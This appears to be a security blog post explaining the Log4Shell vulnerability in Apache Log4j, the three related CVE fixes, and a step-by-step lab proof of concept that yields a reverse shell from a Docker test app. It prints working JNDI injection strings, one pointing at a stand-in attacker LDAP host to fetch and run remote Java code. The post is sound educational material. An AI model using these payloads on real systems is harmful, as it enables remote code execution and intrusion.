In the last few weeks there has been a revolution in the IT world. Everyone has been worried, there have been thousands of meetings to discuss it, hundreds of memes have been created about it. One of the vulnerabilities with the highest exposure factor in recent years has come to light: CVE-2021-44228, now known as Log4Shell. It has been catalogued by Tenable as “the largest vulnerability ever discovered” and we are going to analyze it here.
On this post I will explain what this vulnerability is, and I will show you step by step how to exploit log4shell.
Log4j
Log4j is an Apache library widely used to store application logs. This library is so popular that it is used by services and applications such as iCloud, Amazon, Twitter, Steam… Even Minecraft uses Log4j!
Log4Shell
This vulnerability exploits the fact that the Log4j library allows requests to be made to LDAP and JNDI servers, and does not check the responses from them. Therefore, attackers can use their own LDAP and JNDI servers that inject malicious JAVA code in the response, and the Log4j library will execute that malicious code.
It can be understood very simply by looking at the following image (credits to GovCERT.ch).
1. First, the attacker includes a malicious payload, in this case ${jndi:ldap://evil.xa/x}, in a place to be logged by the log4j library. In this case it includes it in the User-Agent header of one of the requests.
2. The vulnerable application server processes the request and logs the payload using log4j.
3. The log4j library processes the JNDI payload that tells it to query the LDAP server evil.xa.
4. The malicious evil.xa server sends a response that includes malicious code in a Java class.
5. The vulnerable application server receives the application and executes the received Java code. The attacker can include malicious code that allows access to the vulnerable server’s system.
CVE-2021-44228... and CVE-2021-45046... and CVE-2021-45105...
Something very interesting about this vulnerability is that 3 different CVEs related to it have been released.
Originally CVE-2021-44228 was released, which indicated that the library was vulnerable until version 2.15.0, which fixed the problem.
However, within two weeks of the release of this first vulnerability, CVE-2021-45046 was released, indicating that the way in which the vulnerability was fixed was incomplete, and that the library needed to be updated to version 2.16.0.
But two days after this new CVE was released, a third one came out indicating that the vulnerability had not been fixed in all cases and was still exploitable, so it was necessary to update to version 2.17.0.
Although it may seem strange that Apache has not been able to fix this vulnerability in one go, it is normal given that these types of vulnerabilities appear in the form of 0day and require an immediate code fix by the vendor. When you have thousands of companies using your services and providing services to millions of concerned callers, the pressure can be extremely high and these bugs can occur.
Log4Shell Proof of Concept
Now that you know what the Log4Shell vulnerability is, let’s perform the proof of concept. To do so, I have used a python script and an application that uses the vulnerable Log4j library.
To begin with, this is the Java code of the script that our LDAP server will send. This code is a reverse shell that will allow us to connect to the victim server:
We create the LDAP server and start a web server where the exploit written in Java will be located:
Now we just need to run the script and access the vulnerable program, which I have running on port 8080:
In this image you can see:
1. Top left, the docker image that I have launched with the vulnerable program.
2. Just below, a terminal running the script.
3. Below, I am listening on port 9001, which is the port where I have indicated that I want to receive the reverse shell in the exploit written in java.
4. On the right, the vulnerable program.
Now I just have to send the malicious payload in a field that will be registered by the Log4j library. The username field, for example. It is important to indicate in the payload the address of the LDAP server: ${jndi:ldap://localhost:1389/a}
When I send the login request, it is logged by Log4j, which executes the code by sending a request to my LDAP server. My LDAP server responds with a java class telling it to connect to the web server I have set up and run the java exploit there. The application receives it and executes it, sending me a reverse shell. In this way it gets access to the server from which the program has been sent, with the same privileges with which the program is executed:
You can find the poc code here.
And that’s it! I hope you enjoyed this post. As you can see, the Log4j vulnerability is easily exploitable and affects a large number of services, which is why it has been considered one of the most important vulnerabilities of all time. Although a final version has been released that fixes the bug definitively (hopefully), there will still be thousands of services exposed by not updating the libraries they use. No wonder the new OWASP Top 10 places the use of components with known vulnerabilities in sixth place.
Lethani.
Be First to Comment